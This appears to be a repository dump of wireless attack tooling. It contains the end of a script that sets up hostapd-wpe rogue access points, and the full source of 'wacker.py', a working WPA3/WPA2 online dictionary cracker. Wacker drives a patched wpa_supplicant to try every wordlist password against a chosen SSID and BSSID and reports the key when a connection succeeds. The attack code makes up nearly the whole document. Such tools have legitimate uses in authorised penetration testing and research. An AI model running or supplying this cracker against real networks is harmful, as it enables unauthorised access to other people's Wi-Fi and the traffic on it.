>/dev/null 2>&1' 234 | status = subprocess.call(command, shell=True) 235 | if status: 236 | print('[-] Command failed with status: ' + str(status)) 237 | print(' ' + command) 238 | break 239 | else: 240 | print('[+] All commands completed successfully') 241 | print("[*] To run hostapd type: hostapd-wpe ./{0}/{0}.conf -s".format(target)) 242 | 243 | os.unlink(xpextensions_path) 244 | 245 | if __name__ == '__main__': 246 | main() 247 | -------------------------------------------------------------------------------- /src/wacker/wacker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import logging 5 | import os 6 | import re 7 | import signal 8 | import socket 9 | import stat 10 | import subprocess 11 | import sys 12 | import time 13 | 14 | assert sys.version_info >= (3,7) 15 | 16 | def kill(sig, frame): 17 | try: 18 | wacker.kill() 19 | print(f'Stopped at password attempt: {word}') 20 | except: 21 | pass 22 | sys.exit(0) 23 | 24 | signal.signal(signal.SIGINT, kill) 25 | 26 | class Wacker(object): 27 | RETRY = 0 28 | SUCCESS = 1 29 | FAILURE = 2 30 | EXIT = 3 31 | 32 | def __init__(self, args, start_word): 33 | self.args = args 34 | self.start_word = start_word 35 | self.dir = f'/tmp/wacker' 36 | self.server = f'{self.dir}/{args.interface}' 37 | self.conf = f'{self.server}.conf' 38 | self.log = f'{self.server}.log' 39 | self.wpa = '/usr/share/wef/wacker/wpa_supplicant_amd64' 40 | self.pid = f'{self.server}.pid' 41 | self.me = f'{self.dir}/{args.interface}_client' 42 | self.key_mgmt = ('SAE', 'WPA-PSK')[args.brute_wpa2] 43 | self.cmd = f'{self.wpa} -P {self.pid} -B -i {self.args.interface} -c {self.conf}' 44 | if args.debug: 45 | self.cmd += f' -d -t -K -f {self.log}' 46 | self.cmd = self.cmd.split() 47 | wpa_conf = 'ctrl_interface={}\n\n{}network={{\n}}'.format(self.dir, ('sae_pwe=2\n\n', '')[args.brute_wpa2]) 48 | self.total_count = int(subprocess.check_output(f'wc -l {args.wordlist.name}', shell=True).split()[0].decode('utf-8')) 49 | 50 | # Create supplicant dir and conf (first be destructive) 51 | os.system(f'mkdir {self.dir} 2> /dev/null') 52 | os.system(f'rm -f {self.dir}/{args.interface}*') 53 | with open(self.conf, 'w') as f: 54 | f.write(wpa_conf) 55 | 56 | loglvl = logging.DEBUG if args.debug else logging.INFO 57 | logging.basicConfig(level=loglvl, filename=f'{self.server}_wacker.log', filemode='w', format='%(message)s') 58 | 59 | # Initial supplicant setup 60 | self.start_supplicant() 61 | self.create_uds_endpoints() 62 | self.one_time_setup() 63 | 64 | # Create rolling average for pwd/sec 65 | self.rolling = [0] * 150 66 | self.start_time = time.time() 67 | self.lapse = self.start_time 68 | print('Start time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(self.start_time)))) 69 | 70 | def create_uds_endpoints(self): 71 | ''' Create unix domain socket endpoints ''' 72 | try: 73 | os.unlink(self.me) 74 | except Exception: 75 | if os.path.exists(self.me): 76 | raise 77 | 78 | # bring the interface up... won't connect otherwise 79 | os.system(f'ip link set dev {self.args.interface} up') 80 | 81 | self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) 82 | self.sock.bind(self.me) 83 | 84 | logging.info(f'Connecting to {self.server}') 85 | try: 86 | self.sock.connect(self.server) 87 | except Exception: 88 | raise 89 | 90 | def start_supplicant(self): 91 | ''' Spawn a wpa_supplicant instance ''' 92 | print(f'Starting wpa_supplicant...') 93 | proc = subprocess.Popen(self.cmd) 94 | time.sleep(2) 95 | logging.info(f'Started wpa_supplicant') 96 | 97 | # Double check it's running 98 | mode = os.stat(self.server).st_mode 99 | if not stat.S_ISSOCK(mode): 100 | raise Exception(f'Missing {self.server}...Is wpa_supplicant running?') 101 | 102 | def send_to_server(self, msg): 103 | ''' Send a message to the supplicant ''' 104 | logging.debug(f'sending {msg}') 105 | self.sock.sendall(msg.encode()) 106 | d = self.sock.recv(1024).decode().rstrip('\n') 107 | if d == "FAIL": 108 | raise Exception(f'{msg} failed!') 109 | return d 110 | 111 | def one_time_setup(self): 112 | ''' One time setup needed for supplicant ''' 113 | self.send_to_server('ATTACH') 114 | self.send_to_server(f'SET_NETWORK 0 ssid "{self.args.ssid}"') 115 | self.send_to_server(f'SET_NETWORK 0 key_mgmt {self.key_mgmt}') 116 | self.send_to_server(f'SET_NETWORK 0 bssid {self.args.bssid}') 117 | self.send_to_server(f'SET_NETWORK 0 scan_freq {self.args.freq}') 118 | self.send_to_server(f'SET_NETWORK 0 freq_list {self.args.freq}') 119 | self.send_to_server(f'SET_NETWORK 0 ieee80211w 1') 120 | self.send_to_server(f'DISABLE_NETWORK 0') 121 | logging.debug(f'--- created network block 0 ---\n') 122 | 123 | def send_connection_attempt(self, psk): 124 | ''' Send a connection request to supplicant''' 125 | logging.info(f'Trying key: {psk}') 126 | if self.key_mgmt == 'SAE': 127 | self.send_to_server(f'SET_NETWORK 0 sae_password "{psk}"') 128 | else: 129 | self.send_to_server(f'SET_NETWORK 0 psk "{psk}"') 130 | self.send_to_server(f'ENABLE_NETWORK 0') 131 | 132 | def listen(self, count): 133 | ''' Listen for responses from supplicant ''' 134 | while True: 135 | datagram = self.sock.recv(2048) 136 | if not datagram: 137 | logging.error('WTF!!!! datagram is null?!?!?! Exiting.') 138 | return Wacker.RETRY 139 | 140 | data = datagram.decode().rstrip('\n') 141 | event = data.split()[0] 142 | logging.debug(data) 143 | if event == "<3>CTRL-EVENT-BRUTE-FAILURE": 144 | self.print_stats(count) 145 | self.send_to_server(f'DISABLE_NETWORK 0') 146 | logging.info('BRUTE ATTEMPT FAIL\n') 147 | return Wacker.FAILURE 148 | elif event == "<3>CTRL-EVENT-NETWORK-NOT-FOUND": 149 | self.send_to_server(f'DISABLE_NETWORK 0') 150 | msg = f'No suitable target found for freq={self.args.freq}, bssid={self.args.bssid}, ssid={self.args.ssid}' 151 | logging.info(f'NETWORK NOT FOUND\n{msg}') 152 | print(f'\n{msg}') 153 | return Wacker.EXIT 154 | elif event == "<3>CTRL-EVENT-SCAN-FAILED": 155 | self.send_to_server(f'DISABLE_NETWORK 0') 156 | logging.info('SCAN FAILURE') 157 | return Wacker.EXIT 158 | elif event == "<3>CTRL-EVENT-BRUTE-SUCCESS": 159 | self.print_stats(count) 160 | logging.info('BRUTE ATTEMPT SUCCESS\n') 161 | return Wacker.SUCCESS 162 | elif event == "<3>CTRL-EVENT-BRUTE-RETRY": 163 | logging.info('BRUTE ATTEMPT RETRY\n') 164 | self.send_to_server(f'DISABLE_NETWORK 0') 165 | return Wacker.RETRY 166 | 167 | def print_stats(self, count): 168 | ''' Print some useful stats ''' 169 | current = time.time() 170 | avg = 1 / (current - self.lapse) 171 | self.lapse = current 172 | # create rolling average 173 | if count <= 150: 174 | self.rolling[count-1] = avg 175 | avg = sum(self.rolling[:count]) / count 176 | else: 177 | self.rolling[(count-1) % 150] = avg 178 | avg = sum(self.rolling) / 150 179 | spot = self.start_word + count 180 | est = (self.total_count - spot) / avg 181 | percent = spot / self.total_count * 100 182 | end = time.strftime('%d %b %Y %H:%M:%S', time.localtime(current + est)) 183 | lapse = current - self.start_time 184 | print(f'{spot:8} / {self.total_count:<8} words ({percent:2.2f}%) : {avg:4.0f} words/sec : ' \ 185 | f'{lapse/3600:5.3f} hours lapsed : {est/3600:8.2f} hours to exhaust ({end})', end='\r') 186 | 187 | def kill(self): 188 | ''' Kill the supplicant ''' 189 | print('\nStop time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(time.time())))) 190 | os.kill(int(open(self.pid).read()), signal.SIGKILL) 191 | 192 | def check_bssid(mac): 193 | if not re.match(r'^([0-9a-fA-F]{2}(?::[0-9a-fA-F]{2}){5})$', mac): 194 | raise argparse.ArgumentTypeError(f'{mac} is not a valid bssid') 195 | return mac 196 | 197 | def check_interface(interface): 198 | if not os.path.isdir(f'/sys/class/net/{interface}/wireless/'): 199 | raise argparse.ArgumentTypeError(f'{interface} is not a wireless adapter') 200 | return interface 201 | 202 | parser = argparse.ArgumentParser(description='A WPA3 dictionary cracker. Must run as root!') 203 | parser.add_argument('--wordlist', type=argparse.FileType('r'), required=True, help='wordlist to use', dest='wordlist') 204 | parser.add_argument('--interface', type=check_interface, dest='interface', required=True, help='interface to use') 205 | parser.add_argument('--bssid', type=check_bssid, dest='bssid', required=True, help='bssid of the target') 206 | parser.add_argument('--ssid', type=str, dest='ssid', required=True, help='the ssid of the WPA3 AP') 207 | parser.add_argument('--freq', type=int, dest='freq', required=True, help='frequency of the ap') 208 | parser.add_argument('--start', type=str, dest='start_word', help='word to start with in the wordlist') 209 | parser.add_argument('--debug', action='store_true', help='increase logging output') 210 | parser.add_argument('--wpa2', dest='brute_wpa2', action='store_true', help='brute force wpa2-personal') 211 | 212 | args = parser.parse_args() 213 | 214 | if os.geteuid() != 0: 215 | print('This script must be run as root!') 216 | sys.exit(0) 217 | 218 | # Find requested startword 219 | offset=0 220 | start_word = 0 221 | if args.start_word: 222 | print(f'Starting with word "{args.start_word}"') 223 | for word in args.wordlist: 224 | if word.rstrip('\n') == args.start_word: 225 | args.wordlist.seek(offset, os.SEEK_SET) 226 | break; 227 | offset += len(word.encode('utf-8')) 228 | start_word += 1 229 | else: 230 | print(f'Requested start word "{args.start_word}" not found!') 231 | sys.exit(1) 232 | 233 | wacker = Wacker(args, start_word) 234 | 235 | def attempt(word, count): 236 | while True: 237 | wacker.send_connection_attempt(word) 238 | result = wacker.listen(count) 239 | if result == Wacker.EXIT: 240 | kill(None, None) 241 | elif result != Wacker.RETRY: 242 | return result 243 | 244 | # Start the cracking 245 | count = 1 246 | for word in args.wordlist: 247 | word = word.rstrip('\n') 248 | # SAE allows all lengths otherwise WPA2 has restrictions 249 | if not args.brute_wpa2 or 8 <= len(word.encode('utf-8')) <= 63: 250 | result = attempt(word, count) 251 | if result == Wacker.SUCCESS: 252 | print(f"\nFound the password: '{word}'") 253 | break 254 | else: 255 | print(f'Bad word in wordlist: "{word}"') 256 | count += 1 257 | else: 258 | print('\nFlag not found') 259 | 260 | wacker.kill() 261 | --------------------------------------------------------------------------------